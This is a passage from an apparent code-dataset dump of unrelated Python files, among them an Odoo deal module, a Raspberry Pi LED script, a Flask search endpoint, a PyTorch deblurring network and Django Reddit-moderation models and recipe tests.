'expiration_date':expire_date, 'publish_date':publish_date})\n deal.notify(ctx={'msg':'Congratulation!! Your Deal request has been Publised.'}) \n else:\n raise Warning('Limit Exceeded to publish this type of Deal.')\n elif partner.user_ids[0].has_group('loyalty.group_operation') or partner.user_ids[0].has_group('base.group_system'):\n # Same Logic Here\n expire_date = datetime.now() + timedelta(days=deal.type_id.expire_days_count)\n expire_date = expire_date.strftime('%Y-%m-%d')\n publish_date = datetime.now()\n publish_date= publish_date.strftime('%Y-%m-%d')\n deal.write({'state':'publish', 'expiration_date':expire_date, 'publish_date':publish_date}) \n try:\n deal.notify(ctx={'msg':'Congratulation!! Your Deal request has been Publised.'}) \n except:\n pass\n \n @api.multi\n def unpublish(self, notify_msg=False):\n for deal in self:\n partner = deal._get_partner() \n deal.write({'state':'unpublish', 'publish_date':False})\n if notify_msg:\n deal.notify(ctx={'msg':notify_msg})\n else:\n deal.notify(ctx={'msg':'You have unpublished your deal.'})\n\n @api.multi\n def approve(self):\n for deal in self:\n if deal.invoice_id:\n expire_date = datetime.now() + timedelta(days=deal.type_id.expire_days_count)\n expire_date = expire_date.strftime('%Y-%m-%d')\n deal.write({'state':'publish', 'expiration_date':expire_date})\n deal.notify(ctx={'msg':'Your Deal has been Approved and Published.'})\n else:\n raise Warning('Please select Invoice.')\n \n @api.multi\n def send_for_approval(self):\n for deal in self:\n partner = deal._get_partner()\n deal.write({'state':'approval'})\n deal.notify(ctx={'msg':'Your Deal request has been sent for Approval Request.'})\n\n def reject(self, reason=False):\n self.write({'state':'reject', 'reason':reason})\n self.notify(ctx={'msg':'Sorry!! Your Deal request has been Rejected.'})\n\n\n @api.multi\n def unpublish_expired_extra_deal(self):\n for deal in self.search([('state','=','publish')]):\n if deal.type_id.auto_expire:\n if datetime.now().date() > deal.expiration_date:\n deal.unpublish(notify_msg=_('Your deal is published automatically as it\\'s service period is expired.'))\n\n @api.multi\n def generate_invoice(self):\n if not self.invoice_id: \n merchant = self.merchant_id\n \n account = merchant.property_account_receivable_id\n\n values = {'type': 'out_invoice', 'account_id' : account.id, 'partner_id' : merchant.id, 'origin': self.name}\n\n # Generate Invoice for the merchant\n invoice = self.env['account.invoice'].sudo().create(values)\n\n if not self.type_id.product_id:\n raise Warning(_('Deal Type has no invoice product.'))\n \n # Find Plan Product \n deal_type_product_id = self.type_id.product_id\n\n # Linking the invoice line to the merchant's invoice created above.\n line_id = self.env['account.invoice.line'].create({\n 'name': deal_type_product_id.name,\n 'product_id' : deal_type_product_id.id,\n 'invoice_id': invoice.id,\n 'price_unit' : deal_type_product_id.lst_price,\n 'quantity': 1.0,\n 'account_id' : deal_type_product_id.categ_id.property_account_income_categ_id.id,\n 'uom_id': deal_type_product_id.uom_id.id,\n })\n\n # # Assign invoice as unused \n self.write({'invoice_id':invoice.id})\n\n @api.multi\n def view_invoice(self):\n return {\n 'type': 'ir.actions.act_window',\n 'name': (_('Pay Invoices')),\n 'res_model': 'account.invoice',\n 'view_type': 'form',\n 'res_id': self.invoice_id.id,\n 'view_mode': 'form',\n 'view_id': self.env.ref('account.invoice_form').id,\n 'target': 'current',\n }\n\n \nclass DealServiceCommonRejectionReasonWizard(models.TransientModel):\n\n _name = 'deal.service.common.reject.reason.wizard'\n\n reason = fields.Text('Reason', required=True, translate=True) \n\n @api.multi\n def reject(self):\n activeObj = self.env[self.env.context.get('active_model')].browse(self.env.context.get('active_id'))\n activeObj.reject(self.reason)\n return\n","sub_path":"loyalty/models/deal.py","file_name":"deal.py","file_ext":"py","file_size_in_byte":19130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"110786056","text":"\"\"\"\r\nEncode 3\r\n\"\"\"\r\n# 3 Conversion de chaque élément en représentation binaire sur 8 bits\r\n\r\n\r\ndef List_To_8bits(myList):\r\n # On initialiste une liste vide\r\n AsciiListTo8bits = []\r\n\r\n # On parcourt chaque élément de la liste donnée en paramètre afin d'obtenir son équivalent 8bits et on l'ajoute dans la liste vide\r\n for element in myList:\r\n AsciiListTo8bits.append(format(element, '08b'))\r\n # print(AsciiListTo8bits)\r\n return AsciiListTo8bits\r\n","sub_path":"src/Encodage/Function3.py","file_name":"Function3.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"277095396","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BOARD)\nLIGHT=12\nGPIO.setup(LIGHT,GPIO.OUT)\n\npwm= GPIO.PWM(12,50)\npwm.start(0)\n\nfor i in range(100):\n\tpwm.ChangeDutyCycle(i)\n\ttime.sleep(0.1)\nfor i in range(100,0,-1):\n\tpwm.ChangeDutyCycle(i)\n\ttime.sleep(0.1)\n\n\n\n\n\n\n\n#while True:\n#\tGPIO.output(LIGHT,True)\n#\ttime.sleep(0.5)\n#\tGPIO.output(LIGHT,False)\n#\ttime.sleep(0.5)\n\n\n\n","sub_path":"pwm_led.py","file_name":"pwm_led.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"537654211","text":"from musica import Musica\r\nfrom binarytreeavl import AVL_Tree\r\n\r\ntree = AVL_Tree()\r\nroot = None\r\n\r\nresposta = 0\r\nlista_resposta = [1,2,3,4,5,6,7]\r\nwhile resposta != 7:\r\n resposta = int (input(\"\\nDigite: \\n(1) Inserir música\\n(2) Buscar música pelo id\\n(3) Buscar músicas pelo ano\\n(4) Listar músicas em ordem alfabética\\n(5) Altura da árvore\\n(6) Exibir a árvore\\n(7) Sair do programa.\\n \"))\r\n \r\n if resposta == 1:\r\n nome_mus = str(input(\"Digite o nome da música: \"))\r\n ano = int(input(\"Digite o ano de lançamento: \"))\r\n album = str(input(\"Digite o álbum: \"))\r\n id = int(input(\"Digite o ID: \"))\r\n root = tree.add(root,id,nome_mus,ano,album)\r\n print(f\"Foi adicionada a música {nome_mus}, lançada em {ano}, do álbum {album}, com o ID:{id}\")\r\n\r\n elif resposta == 2:\r\n id = int(input(\"Digite o ID que deseja buscar: \"))\r\n tree.findKey(root,id)\r\n\r\n elif resposta ==3:\r\n ano = int(input(\"Digite o ano em números: \"))\r\n tree.findAno(root,ano)\r\n\r\n elif resposta ==4:\r\n a = tree.ordCre(root)\r\n print(f\"Nomes em ordem crescente: {a}\")\r\n \r\n elif resposta ==5:\r\n print(f\"Altura da árvore: {tree.getHeight(root)}\")\r\n\r\n elif resposta ==6:\r\n tree.printTree(root)","sub_path":"PROJETO ED 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"51730720","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\nimport sys # 系统模块\nimport json\nfrom flask import Response,Blueprint,request\nsys.path.append(\"..\")\nfrom service.api_service import CrawlerService\nimport config #系���配置参数\n\n# 使用 蓝图 定义 模块,\napi_main = Blueprint(name='api',import_name=\"api\" ,static_folder='./statics',template_folder='./templates')\n\nsearchUrlListKey= [{\n 'name': '360',\n 'searchSrc': 'https://www.so.com/s?ie=utf-8&shb=1&src=360sou_newhome&q='\n },\n {\n 'name': 'baidu',\n 'searchSrc': 'https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd='\n },\n {\n 'name': 'sogou',\n 'searchSrc': 'https://www.sogou.com/web?query='\n }]\n\n# 提供健康检查用接口\n@api_main.route(\"//\",methods=['POST','get'])\ndef search(to_do):\n\n keyword = \"\"\n if (request.method == \"POST\"):\n keyword = request.form.get(\"keyword\")\n if (request.method == \"get\"):\n keyword = request.args.get(\"keyword\")\n \n web_is = \"\"\n if (request.method == \"POST\"):\n web_is = request.form.get(\"web_is\")\n if (request.method == \"get\"):\n web_is = request.args.get(\"web_is\")\n \n result = {\"code\":1,\"action\":\"api\",\"to_do\":to_do,\"keyword\":keyword,\"web_is\":web_is}\n \n for url in searchUrlListKey:\n print (url[\"name\"],web_is) # 调试用\n if (url['name']==web_is):\n \n searchUrl = url['searchSrc']+keyword\n try:\n print (\"crawler_url ---\",searchUrl)\n except:\n pass\n \n crawlerService = CrawlerService()\n if (web_is == \"baidu\"):\n print(\"数据源\",web_is)\n result = crawlerService.crawler_baidu(searchUrl=searchUrl,keyword=keyword,plant=web_is)\n if (web_is == \"sogou\"):\n print(\"数据源\",web_is)\n result = crawlerService.crawler_sogou(searchUrl=searchUrl,keyword=keyword,plant=web_is)\n if (web_is == \"360\"):\n print(\"数据源\",web_is)\n result = crawlerService.crawler_360(searchUrl=searchUrl,keyword=keyword,plant=web_is)\n \n break\n \n try:\n return Response(json.dumps(result,ensure_ascii=False), mimetype='application/json') # 采用json方式发送数据\n except:\n return Response(str(result).encode(\"utf-8\"))\n\n#---------- 主过程<<开始>> -----------#\ndef main():\n\n import re #正则处理\n # 说明字典\n dic_note = {\n \"版权\":[\"LQAB工作室\"],\n \"作者\":[\"集体\",\"吉更\",\"王滕辉\"],\n \"初创时间\":[\"2018年10月\"],\n \"功能\":[\"API功能模块 1.0\"],\n }\n #0 版本说明\n def version(dic_p={}):\n print (\"\\n\")\n print (\"-----------------------------\")\n [print(\"\\n\",x,\" --- \",re.sub(\"[\\[,\\],\\',\\,]\", \"\", str(dic_p[x])),\"\\n\") for x in dic_p] # 调试用\n print (\"-----------------------------\")\n print (\"\") # 防止代码外泄 只输出一个空字符\n \n version(dic_p=dic_note) # 打印版本\n print (\"hello world!\")\n\nif __name__ == '__main__':\n main()\n#---------- 主过程<<结束>> -----------#\n","sub_path":"service/Api.py","file_name":"Api.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"45419431","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author:knktc\n@contact:me@knktc.com\n@create:2018-07-18 12:22\n\"\"\"\n\n\"\"\"\nGiven a non-empty array of integers, every element appears twice except for one. Find that single one.\n\nNote:\n\nYour algorithm should have a linear runtime complexity. Could you implement it without using extra memory?\n\nExample 1:\n\nInput: [2,2,1]\nOutput: 1\nExample 2:\n\nInput: [4,1,2,1,2]\nOutput: 4\n\n使用按位异或的方法来实现去重,最终会仅保留下唯一的数字。\n\n\"\"\"\n\n__author__ = 'knktc'\n__version__ = '0.1'\n\nfrom functools import reduce\n\nclass Solution:\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n return reduce(lambda a, b: a ^ b, nums)\n \ndef main():\n \"\"\"\n main process\n\n \"\"\"\n solution = Solution()\n\n print(solution.singleNumber(nums=[2,2,1]))\n print(solution.singleNumber(nums=[4,1,2,1,2]))\n\n\nif __name__ == '__main__':\n main()","sub_path":"python/136.Single_Number.py","file_name":"136.Single_Number.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"485435380","text":"import praw\nfrom django.db import models\nfrom django import forms\n\nfrom reddit import get_authed_reddit_connection\n\n\nclass AuthorizedUser(models.Model):\n username = models.CharField(\n unique=True,\n max_length=20,\n default=\"\",\n null=False,\n blank=False\n )\n\n password = models.CharField(\n max_length=100,\n default=\"\",\n blank=True,\n null=False\n )\n\n refresh_token = models.CharField(\n max_length=100,\n default=\"\",\n blank=True,\n null=False\n )\n\n def __str__(self):\n return self.username\n\n\nclass AuthorizedUserForm(forms.ModelForm):\n class Meta:\n model = AuthorizedUser\n fields = ['username', 'password']\n\n password = forms.CharField(widget=forms.PasswordInput())\n\n\nclass Subreddit(models.Model):\n access_user = models.ForeignKey(\n to=AuthorizedUser,\n on_delete=models.DO_NOTHING\n )\n\n display_name = models.CharField(\n max_length=21,\n null=False,\n blank=False\n )\n\n nickname = models.CharField(\n max_length=21,\n default=\"\",\n null=False,\n blank=True\n )\n\n active = models.BooleanField(\n default=True,\n null=False\n )\n\n default_ban_message_subject = models.TextField(\n default=\"You have been banned\",\n blank=False,\n null=False\n )\n\n default_ban_message = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n comment_reply_prefix = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n comment_reply_suffix = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n read_only = models.BooleanField(\n default=False,\n null=False\n )\n\n def __str__(self):\n return self.nickname or self.display_name\n\n @property\n def reddit_api(self) -> praw.Reddit:\n return get_authed_reddit_connection(self.access_user)\n\n @property\n def api(self) -> praw.reddit.Subreddit:\n return self.reddit_api.subreddit(self.display_name)\n\n\nclass RemovalAction(models.Model):\n subreddit = models.ForeignKey(\n to=\"Subreddit\",\n on_delete=models.CASCADE\n )\n\n flair_text = models.CharField(\n max_length=200,\n db_index=True,\n default=\"\",\n blank=False,\n null=False\n )\n\n description = models.CharField(\n max_length=200,\n default=\"\",\n blank=True,\n null=False\n )\n\n use_comment_reply_prefix = models.BooleanField(\n help_text=\"Prefix the subreddit's general purpose reply header\",\n default=True,\n null=False\n )\n\n comment_reply = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n use_comment_reply_suffix = models.BooleanField(\n help_text=\"Prefix the subreddit's general purpose reply footer\",\n default=True,\n null=False\n )\n\n ban_duration = models.IntegerField(\n default=0,\n null=False\n )\n\n permanent_ban = models.BooleanField(\n default=False,\n null=False\n )\n\n @property\n def ban_user(self):\n return self.ban_duration > 0 or self.permanent_ban\n\n ban_reason = models.CharField(\n max_length=100,\n default=\"\",\n blank=True,\n null=False\n )\n\n use_default_ban_message = models.BooleanField(\n default=True,\n null=False\n )\n\n ban_message = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n ban_note = models.CharField(\n max_length=200,\n default=\"{0.shortlink}\",\n blank=True,\n null=False\n )\n\n lock_post = models.BooleanField(\n default=False,\n null=False\n )\n\n def __str__(self):\n return self.description\n\n\nclass RemovedPost(models.Model):\n subreddit = models.ForeignKey(\n to=Subreddit,\n on_delete=models.CASCADE\n )\n\n removal_date = models.DateTimeField(\n auto_created=True,\n null=True\n )\n\n author = models.CharField(\n max_length=20,\n default=\"\",\n null=False,\n blank=False\n )\n\n submission_id = models.CharField(\n max_length=20,\n unique=True,\n default=\"\",\n blank=False,\n null=False\n )\n\n flair_text_set = models.CharField(\n max_length=200,\n default=None,\n blank=True,\n null=True\n )\n\n removal_action = models.ForeignKey(\n verbose_name=\"Removal Reason\",\n to=RemovalAction,\n on_delete=models.DO_NOTHING,\n null=True\n )\n\n removal_comment_id = models.CharField(\n max_length=20,\n default=None,\n blank=True,\n null=True\n )\n\n post_title = models.CharField(\n max_length=1024,\n default=\"\",\n blank=False,\n null=False\n )\n\n post_url = models.CharField(\n max_length=1024,\n default=\"\",\n blank=True,\n null=False\n )\n\n post_body = models.TextField(\n default=\"\",\n blank=True,\n null=False\n )\n\n def __str__(self):\n return self.post_title\n","sub_path":"reddit/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"274592915","text":"'''Configurations for the test scripts'''\n\nfrom enum import IntEnum\nimport os\nfrom collections import OrderedDict\n\nclass TimeStamps(IntEnum):\n NONE = 0\n SPARSE = 1\n SOME = 2\n ALL = 3\n\n# Paths and file details\nABS_PATH_WD = os.getcwd() + \"/\"\n\nCONSOLE = ABS_PATH_WD + \"../cmake-build-release/console\"\n\nPATH = ABS_PATH_WD + \"../graphs/\"\nGRAPH_SUB = \"walshaw/\"\nGRAPH_DIR = PATH + GRAPH_SUB\nGRAPH_EXT = \".graph\"\nORD_SUB = \"orderings/\"\nORD_DIR = PATH + ORD_SUB\nORD_EXT = \".ord\"\nORD_TYPE_DELIMITER = \"-\"\nORDERING_ALG_NAMES = [\"affinity\", \"plm\", \"alg_dist\", \"fa2\", \"accumulated\", \"asc_affinity\", \"asc_plm\", \"asc_accumulated\"] # must not contain the ORD_TYPE_DELIMITER\nORD_TYPE = OrderedDict(zip(ORDERING_ALG_NAMES, [ORD_TYPE_DELIMITER + alg for alg in ORDERING_ALG_NAMES]))\n\nCSV_EVALUATION_DIR = \"csv-data/\"\n\n\nDELIMITER_NODE = \",\"\nDELIMITER_ORDER = \"\\n\"\n\n\n# Test parameters\nAMOUNT_ORDERINGS = 3 # Default, when no command line argument is given\nSEED = 31415 # Random seed for python and networkit\nINITIAL_ASSIM = 0.05 # default: 0.05\nBULK_STEP = 0.05 # default: 0.05\n\n# Specific ordering parameters\nPLM_RESOLUTION = 0.0001 # Threshold for the recursion depth of the PLM ordering\nFORCEATLAS2_ITER = 20 # Reasonably fast, but the results are bad\nALG_DIST_SYSTEMS = 10\nALG_DIST_ITER = 100000\n\n# Output parameters\nTIME_STAMPS = TimeStamps.SPARSE\n\n# Evaluation parameters\nEPSILONS = [0.0, 0.01, 0.03, 0.05, 0.1, 0.2, 0.3, 0.5, 0.7, 0.9]\n\ndef get_graph_path(name):\n return GRAPH_DIR + name + GRAPH_EXT\n\ndef get_ord_path(name, ord_rep):\n return ORD_DIR + name + ORD_TYPE[ord_rep] + ORD_EXT\n","sub_path":"scripts/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"364262033","text":"# --------------------------------------------------------------------------- #\n# http://www.reddit.com/r/dailyprogrammer/comments/2uo3yf\n# /20150204_challenge_200_intermediate_metro_tile/\nimport collections as col\n\n# --------------------------------------------------------------------------- #\ndef load_screen() -> [str, ..., str]:\n with open(\"Int - data.txt\") as f:\n return f.read().split(\"\\n\")[1:] # first line is trash\n\n# --------------------------------------------------------------------------- #\ndef get_tiles(screen: [str, ..., str], blank: str) -> \\\n {(int, int, int, int): str, ...:..., (int, int, int, int): str}:\n w, h = len(screen[0]), len(screen)\n # structure of tiles dict: values = char for that tile, keys = (top-left x,\n # top-left y, bot-right x, bot-right y); could just use a regular dict, but\n # I wanted to order them\n tiles = col.OrderedDict()\n\n while True:\n # loop over positions on-screen, not blank, not already in a tile\n for x, y in ((x, y) for x in range(w) for y in range(h)\n if screen[y][x] != blank\n if not any(t[0] <= x <= t[2] and t[1] <= y <= t[3]\n for t in tiles)):\n x_max = max(n for n in range(x, w) if screen[y][n] == screen[y][x])\n y_max = max(m for m in range(y, h) if screen[m][x] == screen[y][x])\n tiles.update({(x, y, x_max, y_max): screen[y][x]})\n continue\n break # only reach this if the for loop is trivial\n\n return tiles\n\n# --------------------------------------------------------------------------- #\ndef main():\n tiles = get_tiles(load_screen(), \".\")\n for t in tiles:\n print(\"{:2}x{:<2} tile of character '{}' located at {}\"\n .format(t[2] - t[0] + 1, t[3] - t[1] + 1, tiles[t], t[:2]))\n\nif __name__ == \"__main__\":\n main()","sub_path":"Challenge #200/Intermediate - Tiles.py","file_name":"Intermediate - Tiles.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"429379170","text":"import torch\nimport torch.nn as nn\nfrom layers import *\n\n\ndef conv5x5(in_channels, out_channels, stride):\n return conv(in_channels, out_channels, 5, stride, 2, activation_fn=partial(nn.ELU, inplace=True))\n\ndef conv1x1(in_channels, out_channels, stride):\n return conv(in_channels, out_channels, 1, stride, 0, activation_fn=partial(nn.ELU, inplace=True))\n\ndef deconv5x5(in_channels, out_channels, stride, output_padding):\n return deconv(in_channels, out_channels, 5, stride, 2, output_padding=output_padding,\n activation_fn=partial(nn.ELU, inplace=True))\n\n\ndef resblock(in_channels):\n \"\"\"Resblock without BN and the last activation\n \"\"\"\n return BasicBlock(in_channels, out_channels=in_channels, kernel_size=3, stride=1, use_batchnorm=False,\n activation_fn=partial(nn.ELU, inplace=True), last_activation_fn=None)\n\n\nclass EBlock(nn.Module):\n def __init__(self, out_channels):\n super(type(self), self).__init__()\n resblock_list = []\n for i in range(3):\n resblock_list.append(resblock(out_channels))\n self.resblock_stack = nn.Sequential(*resblock_list)\n\n def forward(self, x):\n x = self.resblock_stack(x)\n return x\n\n\nclass DBlock(nn.Module):\n def __init__(self, in_channels, out_channels, stride, output_padding):\n super(type(self), self).__init__()\n resblock_list = []\n for i in range(3):\n resblock_list.append(resblock(in_channels))\n self.resblock_stack = nn.Sequential(*resblock_list)\n self.deconv = deconv5x5(in_channels, out_channels, stride, output_padding)\n\n self.attention = Attention(out_channels, out_channels, 1)\n def forward(self, x):\n x = self.resblock_stack(x)\n x = self.deconv(x)\n y=self.attention(x)\n return x*y\n\n\nclass OutBlock(nn.Module):\n def __init__(self, in_channels):\n super(type(self), self).__init__()\n resblock_list = []\n for i in range(3):\n resblock_list.append(resblock(in_channels))\n self.resblock_stack = nn.Sequential(*resblock_list)\n self.conv = conv(in_channels, 3, 3, 1, 1, activation_fn=None)\n\n def forward(self, x):\n x = self.resblock_stack(x)\n x = self.conv(x)\n return x\n\nclass Attention(nn.Module):\n def __init__(self,in_channels,out_channels,stride):\n super(type(self), self).__init__()\n self.conv=conv1x1(in_channels,out_channels,stride)\n self.sigmoid=torch.nn.Sigmoid()\n\n def forward(self, x):\n x = self.conv(x)\n x = self.sigmoid(x)\n return x\n\nclass SRNDeblurNet(nn.Module):\n \"\"\"SRN-DeblurNet\n examples:\n net = SRNDeblurNet()\n y = net( x1 , x2 , x3)#x3 is the coarsest image while x1 is the finest image\n \"\"\"\n\n def __init__(self,upsample_fn=partial(torch.nn.functional.upsample, mode='bilinear'), xavier_init_all=True):\n super(type(self), self).__init__()\n self.upsample_fn = upsample_fn\n self.conv1_1 = conv5x5(3+3, 32, 1)\n self.inblock = EBlock(32)\n self.conv1_2 = conv5x5(32, 64, 2)\n self.eblock1 = EBlock(64)\n self.conv1_3 = conv5x5(64, 128, 2)\n self.eblock2 = EBlock(128)\n\n self.dblock1 = DBlock(128, 64, 2, 1)\n self.dblock2 = DBlock(64, 32, 2, 1)\n self.outblock = OutBlock(32)\n\n self.conv2_1 = conv5x5(3 + 3, 32, 1)\n self.conv2_2 = conv5x5(32, 64, 2)\n self.conv2_3 = conv5x5(64, 128, 2)\n\n self.conv3_1 = conv5x5(3 + 3, 32, 1)\n self.conv3_2 = conv5x5(32, 64, 2)\n self.conv3_3 = conv5x5(64, 128, 2)\n \n self.attention1_1 = Attention(32, 32, 1)\n self.attention1_2 = Attention(64, 64, 1)\n self.attention1_3 = Attention(128, 128, 1)\n\n self.attention2_1 = Attention(32, 32, 1)\n self.attention2_2 = Attention(64, 64, 1)\n self.attention2_3 = Attention(128, 128, 1)\n\n self.attention3_1 = Attention(32, 32, 1)\n self.attention3_2 = Attention(64, 64, 1)\n self.attention3_3 = Attention(128, 128, 1)\n self.input_padding = None\n if xavier_init_all:\n for name, m in self.named_modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n torch.nn.init.xavier_normal_(m.weight)\n # torch.nn.init.kaiming_normal_(m.weight)\n # print(name)\n\n def forward_step1(self, x):\n input=self.conv1_1(x)\n e32 = self.inblock(input*self.attention1_1(input))\n conv_e32=self.conv1_2(e32)\n e64 = self.eblock1(conv_e32*self.attention1_2(conv_e32))\n conv_e64=self.conv1_3(e64)\n e128 = self.eblock2(conv_e64*self.attention1_3(conv_e64))\n\n d64 = self.dblock1(e128)\n d32 = self.dblock2(d64 + e64)\n d3 = self.outblock(d32 + e32)\n return d3\n\n def forward_step2(self, x):\n input = self.conv2_1(x)\n e32 = self.inblock(input*self.attention2_1(input))\n conv_e32=self.conv2_2(e32)\n e64 = self.eblock1(conv_e32*self.attention2_2(conv_e32))\n conv_e64=self.conv2_3(e64)\n e128 = self.eblock2(conv_e64*self.attention2_3(conv_e64))\n\n d64 = self.dblock1(e128)\n d32 = self.dblock2(d64 + e64)\n d3 = self.outblock(d32 + e32)\n return d3\n\n def forward_step3(self, x):\n input = self.conv3_1(x)\n e32 = self.inblock(input * self.attention3_1(input))\n conv_e32=self.conv3_2(e32)\n e64 = self.eblock1(conv_e32*self.attention3_2(conv_e32))\n conv_e64=self.conv3_3(e64)\n e128 = self.eblock2(conv_e64*self.attention3_3(conv_e64))\n d64 = self.dblock1(e128)\n d32 = self.dblock2(d64 + e64)\n d3 = self.outblock(d32 + e32)\n return d3\n def forward(self, b1, b2, b3):\n if self.input_padding is None or self.input_padding.shape != b3.shape:\n self.input_padding = b3\n\n i3 = self.forward_step1(torch.cat([b3.detach(), self.input_padding], 1))\n\n i2 = self.forward_step2(torch.cat([b2.detach(), self.upsample_fn(i3, scale_factor=2)], 1))\n\n i1 = self.forward_step3(torch.cat([b1.detach(), self.upsample_fn(i2, scale_factor=2)], 1))\n\n\n return i1, i2, i3\n\n\n\n","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":6228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"154204121","text":"import math\nimport itertools\n\ncounter = 0\nfor n in itertools.count(1):\n start_base = math.ceil((10**(n-1))**(1./n))\n if start_base == 10:\n break\n for base in range(start_base, 10):\n number = base**n\n counter += 1\n\nprint(counter)\n","sub_path":"P0063.py","file_name":"P0063.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"647505586","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n\nclass Certificate(models.Model):\n _name = 'certificate.name'\n _description = 'Certificate Name'\n\n @api.multi\n @api.depends()\n def _get_cert(self):\n emp_certi_obj = self.env['employee.certificate']\n for rec in self:\n emp_certi_ids = emp_certi_obj.search([('certificate_id', '=', rec.id)])\n rec.certificate_ids = emp_certi_ids.ids\n \n name = fields.Char(\n string='Name',\n required=True\n )\n first_days_reminder = fields.Float(\n string='First Reminder (Days)'\n )\n second_days_reminder = fields.Float(\n string='Second Reminder (Days)'\n )\n certificate_ids = fields.Many2many(\n 'employee.certificate',\n compute='_get_cert',\n string='Employee Certificates'\n )\n partner_id = fields.Many2one(\n 'res.partner',\n string='Certification Partner',\n required=True,\n )\n valid_for_years = fields.Integer(\n string='Valid for Years'\n )\n certfication_exp_date = fields.Date(\n string='Certification Expiration Date'\n )\n image = fields.Binary(\n string='Image'\n )\n desc = fields.Text(\n string='Description/Requirement',\n )\n","sub_path":"gitstage/vcloud9odoo-odoo10_custom_vcloud9-28311c6fd499/employee_certificate_manage/models/certificate.py","file_name":"certificate.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"135863525","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n# use that for making our API requests\n\nfrom core.models import Recipe, Tag, Ingredient\n\nfrom ..serializers import RecipeSerializer, RecipeDetailSerializer\n\nimport tempfile\n# allows you to call a function which will then create a temp file\n# somewhere in the system and then you can remove that file after\n# you've used it\nimport os\n# this allows us to perform things like\n# creating path names and also checking if files exist on the system\nfrom PIL import Image\n# pillow, this will import our image class which will let us then\n# create test images which we can then upload to our API\n\n\nRECIPES_URL = reverse('recipe:recipe-list')\n# since we're going to need to access the URL in more\n# or less all the tests let's assign that as a variable\n# at top of the class in all capitals.\n# app : identifier of the URL in the app\n\n# /api/recipe/recipes\n# /api/recipe/recipes/1/ (id) --> detail url\n\n\ndef image_upload_url(recipe_id):\n \"\"\"Return URL for recipe image upload\"\"\"\n return reverse('recipe:recipe-upload-image', args=[recipe_id])\n# generate our upload image url\n# you're going to need the existing recipe ID in order to upload an image\n\n\ndef detail_url(recipe_id):\n \"\"\"Return recipe detail URL\"\"\"\n return reverse('recipe:recipe-detail', args=[recipe_id])\n# name of the end point that the default router will create\n# for our viewset because we're going to have a detail action\n\n# this is how you specify arguments with the reverse function\n# you just pass in args and then you pass in a list of the\n# arguments you want to add\n# here we have single item\n\n\ndef sample_tag(user, name='Main course'):\n \"\"\"Create and return a sample tag\"\"\"\n return Tag.objects.create(user=user, name=name)\n\n\ndef sample_ingredient(user, name='Cinnamon'):\n \"\"\"Create and return a sample ingredient\"\"\"\n return Ingredient.objects.create(user=user, name=name)\n\n\ndef sample_recipe(user, **params):\n \"\"\"Create and return a sample recipe\"\"\"\n defaults = {\n 'title': 'Sample recipe',\n 'time_minutes': 10,\n 'price': 5.00,\n }\n defaults.update(params)\n\n return Recipe.objects.create(user=user, **defaults)\n# convert the dictionary into the argument\n# when you use the two asterisks when calling a\n# function it has the reverse effect.\n\n\nclass PublicRecipeApiTests(TestCase):\n \"\"\"Test unauthenticated recipe API access\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_required_auth(self):\n \"\"\"Test the authenticaiton is required\"\"\"\n res = self.client.get(RECIPES_URL)\n\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateRecipeApiTests(TestCase):\n \"\"\"Test authenticated recipe API access\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create_user(\n 'test@londonappdev.com',\n 'testpass'\n )\n self.client.force_authenticate(self.user)\n\n def test_retrieve_recipes(self):\n \"\"\"Test retrieving list of recipes\"\"\"\n sample_recipe(user=self.user)\n sample_recipe(user=self.user)\n # we're going to access them by retrieving\n # all of the recipes from our database.\n\n res = self.client.get(RECIPES_URL)\n\n recipes = Recipe.objects.all().order_by('-id')\n serializer = RecipeSerializer(recipes, many=True)\n self.assertEqual(res.status_code, 